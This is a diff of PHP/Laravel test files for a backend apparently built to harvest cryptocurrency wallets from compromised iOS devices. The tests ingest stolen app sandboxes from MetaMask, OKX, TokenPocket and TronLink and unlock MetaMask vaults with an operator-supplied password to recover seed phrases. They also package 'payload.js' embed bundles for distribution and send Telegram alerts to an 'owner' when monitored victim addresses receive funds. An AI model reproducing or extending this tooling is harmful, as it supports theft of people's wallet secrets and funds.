+        $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
+        $this->assertSame(1, (int) $row->fresh()->decrypted);
+    }
+
+    #[Test]
+    public function metamask_keyring_vault_is_stored_and_unlocked_with_password(): void
+    {
+        $device = $this->makeDevice('dev-mm-vault2');
+        $password = 'woshini@88';
+        $vault = $this->makeMetamaskVault(self::MNEMONIC, $password);
+        unset($vault['kind']);
+        $accounts = ['internalAccounts' => ['accounts' => [
+            'acc-1' => ['id' => 'acc-1', 'address' => self::ETH, 'type' => 'eip155:eoa'],
+        ]]];
+
+        $tar = $this->makeTar([
+            'Documents/persistStore/persist-KeyringController' => json_encode([
+                'vault' => json_encode($vault),
+            ]),
+            'Documents/persistStore/persist-accounts' => json_encode($accounts),
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
+
+        $row = WalletKeystore::query()
+            ->where('device_id', $device->id)
+            ->where('source', 'MetaMask')
+            ->where('needs_password', 1)
+            ->first();
+        $this->assertNotNull($row);
+        $this->assertSame('metamask.vault', $row->kind());
+        $this->assertSame('MetaMask Vault', $row->kindLabel());
+        $this->assertSame($vault['cipher'], $row->raw_json['cipher']);
+        $this->assertSame($vault['iv'], $row->raw_json['iv']);
+        $this->assertSame($vault['salt'], $row->raw_json['salt']);
+
+        // Operator password unlock recovers the mnemonic through the
+        // existing quick-crypto PBKDF2 vault decryptor.
+        $adapter = app(\App\Services\DarkSwordIngestAdapter::class);
+        $result = $adapter->decryptKeystoreWithPassword($device, $row, $password);
+        $this->assertSame(1, $result['hits']);
+        $memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
+        $this->assertNotNull($memo);
+        $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
+        $this->assertSame(1, (int) $row->fresh()->decrypted);
+    }
+
+    #[Test]
+    public function tokenpocket_encrypted_sandbox_files_are_stored(): void
+    {
+        $device = $this->makeDevice('dev-gw-enc');
+        $encrypted = base64_encode(random_bytes(96));
+        $cacheText = str_repeat('a', 200); // long text is NOT encrypted material
+
+        $tar = $this->makeTar([
+            'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df' => base64_decode($encrypted),
+            'Documents/db/main.sqlite3' => base64_decode($encrypted),
+            'Documents/cache/market.sector.classes.json' => $cacheText,
+            'Documents/cache/batch_market_list_RWA.json' => json_encode(['address' => '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c', 'symbol' => 'RWA', 'name' => 'RWA', 'decimals' => 18]),
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
+
+        $row = WalletKeystore::query()
+            ->where('device_id', $device->id)
+            ->where('source', 'Global Wallet')
+            ->first();
+        $this->assertNotNull($row);
+        $this->assertSame('encrypted.sandbox', $row->kind());
+        $this->assertSame(1, (int) $row->needs_password);
+        $files = array_keys($row->raw_json['files'] ?? []);
+        sort($files);
+        $this->assertSame([
+            'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df',
+            'Documents/db/main.sqlite3',
+        ], $files);
+        $this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
+    }
+
     private function makeDevice(string $id = 'dev-app-1'): Device
     {
         return Device::query()->create([
@@ -487,6 +974,85 @@ class AppUploadIngestTest extends TestCase
         }
     }
 
+    /**
+     * @param  array<string, string>  $files
+     */
+    private function makeZip(array $files): string
+    {
+        $path = sys_get_temp_dir().'/im_shell_'.bin2hex(random_bytes(4)).'.zip';
+        $zip = new \ZipArchive;
+        $this->assertTrue($zip->open($path, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) === true);
+        foreach ($files as $name => $content) {
+            $zip->addFromString($name, $content);
+        }
+        $zip->close();
+        $bin = (string) file_get_contents($path);
+        @unlink($path);
+
+        return $bin;
+    }
+
+    /**
+     * OKX wallet_coinMeta shape: token metadata tables full of contract
+     * addresses, with no user-account rows.
+     */
+    private function makeOkxCoinMetaSqlite(string $weth, string $usdt): string
+    {
+        $tmp = tempnam(sys_get_temp_dir(), 'okx_meta_');
+        $pdo = new \PDO('sqlite:'.$tmp);
+        $pdo->exec('CREATE TABLE fullAssetCoinRelations (id INTEGER PRIMARY KEY, address TEXT, symbol TEXT, decimals INTEGER)');
+        $ins = $pdo->prepare('INSERT INTO fullAssetCoinRelations (address, symbol, decimals) VALUES (?,?,?)');
+        $ins->execute([$weth, 'WETH', 18]);
+        $ins->execute([$usdt, 'USDT', 6]);
+        $pdo = null;
+        $bytes = (string) file_get_contents($tmp);
+        @unlink($tmp);
+
+        return $bytes;
+    }
+
+    private function makeOkxWalletSqlite(string $eoa, string $tron, string $btc): string
+    {
+        $tmp = tempnam(sys_get_temp_dir(), 'okx_wallet_');
+        $pdo = new \PDO('sqlite:'.$tmp);
+        $pdo->exec('CREATE TABLE chain_address (id INTEGER PRIMARY KEY, address TEXT, eoaAddress TEXT)');
+        $pdo->exec('CREATE TABLE chain_address_segwit (id INTEGER PRIMARY KEY, address TEXT)');
+        $pdo->exec('CREATE TABLE customChainChainAddressesTable (id INTEGER PRIMARY KEY, address TEXT)');
+        $pdo->exec('CREATE TABLE coinMetas (id INTEGER PRIMARY KEY, address TEXT)');
+        $ins = $pdo->prepare('INSERT INTO chain_address (address, eoaAddress) VALUES (?, ?)');
+        $ins->execute([$eoa, $eoa]);
+        $ins->execute([$tron, $eoa]);
+        $seg = $pdo->prepare('INSERT INTO chain_address_segwit (address) VALUES (?)');
+        $seg->execute([$btc]);
+        $noise = $pdo->prepare('INSERT INTO coinMetas (address) VALUES (?)');
+        $noise->execute(['0x514910771af9ca656af840dff83e8264ecf986ca']);
+        $pdo = null;
+        $bytes = (string) file_get_contents($tmp);
+        @unlink($tmp);
+
+        return $bytes;
+    }
+
+    /**
+     * Mirror of CryptoJS AES.encrypt(plain, password) default output:
+     * base64("Salted__" + salt + AES-256-CBC), EVP_BytesToKey MD5.
+     */
+    private function cryptoJsEncrypt(string $plain, string $password): string
+    {
+        $salt = random_bytes(8);
+        $derived = '';
+        $block = '';
+        while (strlen($derived) < 48) {
+            $block = md5($block.$password.$salt, true);
+            $derived .= $block;
+        }
+        $key = substr($derived, 0, 32);
+        $iv = substr($derived, 32, 16);
+        $cipher = openssl_encrypt($plain, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
+
+        return base64_encode('Salted__'.$salt.$cipher);
+    }
+
     private function makeTronLinkSqlite(): string
     {
         $tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');

tests/Feature/ChannelEmbedZipTest.php

@@ -0,0 +1,96 @@
+<?php
+
+namespace Tests\Feature;
+
+use App\Models\Admin;
+use App\Models\Channel;
+use App\Services\ChannelEmbedZipService;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use PHPUnit\Framework\Attributes\Test;
+use Tests\TestCase;
+use ZipArchive;
+
+class ChannelEmbedZipTest extends TestCase
+{
+    use RefreshDatabase;
+
+    private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
+
+    protected function setUp(): void
+    {
+        parent::setUp();
+
+        config([
+            'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
+            'coruna.channel_domains' => ['cdn.example.com'],
+            'coruna.static_site.scheme' => 'https',
+        ]);
+    }
+
+    #[Test]
+    public function admin_can_download_browser_embed_zip(): void
+    {
+        $dir = storage_path('app/channel-artifacts-test/web/'.self::CHANNEL_ID);
+        if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
+            $this->fail('unable to create embed fixture dir');
+        }
+        file_put_contents($dir.'/index.js', "/* coruna-embed-boot */\nvar STAT_ORIGIN = '';\nvar CHANNEL = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';\n");
+        file_put_contents($dir.'/payload.js', 'function cAsUcoxco(){}');
+        file_put_contents($dir.'/deadbeef.js', '1');
+        file_put_contents($dir.'/manifest.json', '{}');
+
+        $channel = Channel::query()->create([
+            'channel_id' => self::CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_OLD,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+
+        $this->actingAs($admin, 'admin')
+            ->get(route('admin.channels.data'))
+            ->assertOk()
+            ->assertJsonPath('data.0.embed_script', '<script src="./index.js"></script>')
+            ->assertJsonPath('data.0.embed_zip_url', route('admin.channels.embedZip', $channel));
+
+        $this->actingAs($admin, 'admin')
+            ->get(route('admin.channels.embedZip', $channel))
+            ->assertOk()
+            ->assertDownload('channel-embed-'.self::CHANNEL_ID.'.zip');
+
+        $tmp = app(ChannelEmbedZipService::class)->build($channel);
+        $this->assertFileExists($tmp);
+        $zip = new ZipArchive();
+        $this->assertTrue($zip->open($tmp) === true);
+        $this->assertNotFalse($zip->locateName('index.js'));
+        $this->assertNotFalse($zip->locateName('payload.js'));
+        $this->assertNotFalse($zip->locateName('deadbeef.js'));
+        $this->assertFalse($zip->locateName('manifest.json'));
+        $boot = $zip->getFromName('index.js');
+        $this->assertStringContainsString('https://cdn.example.com', (string) $boot);
+        $this->assertStringNotContainsString('c2.example.com', (string) $boot);
+        $this->assertStringContainsString('<script src="./index.js"></script>', (string) $zip->getFromName('README.txt'));
+        $zip->close();
+        @unlink($tmp);
+    }
+
+    #[Test]
+    public function zip_service_lists_only_browser_files(): void
+    {
+        $dir = storage_path('app/channel-artifacts-test/channel/3.1.07/weifile');
+        if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
+            $this->fail('unable to create weifile fixture dir');
+        }
+        file_put_contents($dir.'/index.js', '/* coruna-embed-boot */');
+        file_put_contents($dir.'/payload.js', 'payload');
+        file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
+
+        $channel = new Channel([
+            'channel_id' => '3.1.07',
+            'builder_type' => Channel::BUILDER_NEW,
+        ]);
+
+        $files = app(ChannelEmbedZipService::class)->listFiles($channel);
+        $this->assertSame(['index.js', 'payload.js', 'weifile.html'], $files);
+    }
+}

tests/Feature/ChannelProjectServiceTest.php

@@ -29,6 +29,7 @@ class ChannelProjectServiceTest extends TestCase
             'coruna.channel_builder.python' => 'python3',
             'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
             'coruna.channel_builder.timeout' => 30,
+            'coruna.channel_builder.seed' => '11111111111111111111111111111111',
             'coruna.channel_builder_new.python' => 'python3',
             'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
             'coruna.channel_domains' => ['fallback.test'],
@@ -102,12 +103,15 @@ class ChannelProjectServiceTest extends TestCase
             return str_contains($joined, 'new_project.py')
                 && str_contains($joined, self::CHANNEL_ID)
                 && str_contains($joined, '--support-template')
-                && str_contains($joined, 'blank');
+                && str_contains($joined, 'blank')
+                && str_contains($joined, '--deployment-seed')
+                && str_contains($joined, '11111111111111111111111111111111')
+                && str_contains($joined, '--reporting-seed');
         });
     }
 
     #[Test]
-    public function it_forwards_optional_seeds_to_builder(): void
+    public function it_forwards_env_seed_and_ignores_request_seeds(): void
     {
         Process::fake([
             '*' => Process::result(output: $this->fakeBuildResult(['seeds_initialized' => false, 'sync_rebuilt' => false])),
@@ -116,41 +120,30 @@ class ChannelProjectServiceTest extends TestCase
         app(ChannelProjectService::class)->generate(
             self::CHANNEL_ID,
             'test',
-            'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+            'cccccccccccccccccccccccccccccccc',
-            'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+            'dddddddddddddddddddddddddddddddd',
         );
 
         Process::assertRan(function ($process) {
             $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
 
             return str_contains($joined, '--deployment-seed')
-                && str_contains($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
+                && str_contains($joined, '11111111111111111111111111111111')
                 && str_contains($joined, '--reporting-seed')
-                && substr_count($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') >= 2;
+                && ! str_contains($joined, 'cccccccccccccccccccccccccccccccc')
+                && ! str_contains($joined, 'dddddddddddddddddddddddddddddddd');
         });
     }
 
     #[Test]
-    public function it_rejects_partial_seed_pair(): void
+    public function old_builder_requires_env_seed(): void
     {
+        config(['coruna.channel_builder.seed' => '']);
+
         $this->expectException(RuntimeException::class);
-        $this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须同时提供');
+        $this->expectExceptionMessage('CORUNA_CHANNEL_SEED');
 
-        app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test', 'only-one', null);
+        app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test');
-    }
-
-    #[Test]
-    public function it_rejects_mismatched_seed_pair(): void
-    {
-        $this->expectException(RuntimeException::class);
-        $this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
-
-        app(ChannelProjectService::class)->generate(
-            self::CHANNEL_ID,
-            'test',
-            'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
-            'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
-        );
     }
 
     #[Test]
@@ -664,6 +657,89 @@ class ChannelProjectServiceTest extends TestCase
         });
     }
 
+    #[Test]
+    public function it_rebuilds_existing_old_channels_in_place(): void
+    {
+        $otherOld = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
+        Channel::query()->create([
+            'channel_id' => self::CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_OLD,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Channel::query()->create([
+            'channel_id' => $otherOld,
+            'builder_type' => Channel::BUILDER_OLD,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Channel::query()->create([
+            'channel_id' => self::NEW_CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_NEW,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Process::fake([
+            '*' => Process::result(output: $this->fakeBuildResult()),
+        ]);
+
+        $result = app(ChannelProjectService::class)->rebuildOldChannels();
+
+        $this->assertCount(2, $result['channels']);
+
+        Process::assertRanTimes(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'new_project.py')
+                && str_contains($joined, '--deployment-seed')
+                && str_contains($joined, '11111111111111111111111111111111');
+        }, 2);
+        Process::assertRan(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'new_project.py') && str_contains($joined, self::CHANNEL_ID);
+        });
+        Process::assertRan(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'new_project.py') && str_contains($joined, 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb');
+        });
+    }
+
+    #[Test]
+    public function it_rejects_invalid_old_channel_ids_when_repacking(): void
+    {
+        $this->expectException(RuntimeException::class);
+        $this->expectExceptionMessage('旧版渠道 ID 必须是 32 位 hex');
+
+        app(ChannelProjectService::class)->resolveOldChannelIds(['not-a-channel']);
+    }
+
+    #[Test]
+    public function coruna_repack_dry_run_lists_old_channels(): void
+    {
+        Channel::query()->create([
+            'channel_id' => self::CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_OLD,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Channel::query()->create([
+            'channel_id' => self::NEW_CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_NEW,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Process::fake();
+
+        $this->artisan('coruna:repack', ['--dry-run' => true])
+            ->expectsOutputToContain('将重打 1 个旧版渠道')
+            ->expectsOutputToContain('/web/'.self::CHANNEL_ID.'/support.html')
+            ->assertSuccessful();
+
+        Process::assertNothingRan();
+    }
+
     #[Test]
     public function version_format_required_for_new_channel_ids(): void
     {

tests/Feature/TokenviewWebhookTest.php

@@ -187,6 +187,70 @@ class TokenviewWebhookTest extends TestCase
         });
     }
 
+    #[Test]
+    public function webhook_refreshes_btc_balance_from_chain_instead_of_delta(): void
+    {
+        config(['coruna.tokenview.sign_key' => '']);
+        Http::fake(function ($request) {
+            $url = $request->url();
+            if (str_contains($url, 'mempool.space') && str_contains($url, '/address/')) {
+                return Http::response([
+                    'chain_stats' => [
+                        'funded_txo_sum' => 61436,
+                        'spent_txo_sum' => 0,
+                        'tx_count' => 1,
+                    ],
+                    'mempool_stats' => [
+                        'funded_txo_sum' => 0,
+                        'spent_txo_sum' => 0,
+                        'tx_count' => 0,
+                    ],
+                ], 200);
+            }
+            if (str_contains($url, 'api.telegram.org')) {
+                return Http::response(['ok' => true], 200);
+            }
+
+            return Http::response(['ok' => true], 200);
+        });
+        config([
+            'coruna.telegram.bot_token' => 'bot-token',
+            'coruna.telegram.owner_chat_id' => '12345',
+            'coruna.btc.api_url' => 'https://mempool.space/api',
+        ]);
+
+        $addr = $this->seedMonitoredAddress([
+            'address' => 'bc1quqfuefm729n3a793meruf8rlcgys5xl4zphhjc',
+            'chain_type' => 'BITCOIN',
+            'btc' => 48.86220628,
+            'eth' => null,
+            'usdt' => null,
+        ]);
+
+        $payload = [
+            'address' => $addr->address,
+            'txid' => 'btc-txid-refresh-1',
+            'coin' => 'BTC',
+            'value' => '0.00061',
+        ];
+
+        $this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
+
+        $addr->refresh();
+        $this->assertEqualsWithDelta(0.00061436, (float) $addr->btc, 0.00000001);
+
+        Http::assertSent(function ($request) {
+            if (! str_contains($request->url(), 'api.telegram.org')) {
+                return false;
+            }
+            $text = (string) ($request->data()['text'] ?? '');
+
+            return str_contains($text, '余额入账')
+                && str_contains($text, '+0.00061 BTC')
+                && str_contains($text, '0.00061436');
+        });
+    }
+
     #[Test]
     public function webhook_notifies_tron_outbound_after_chain_refresh(): void
     {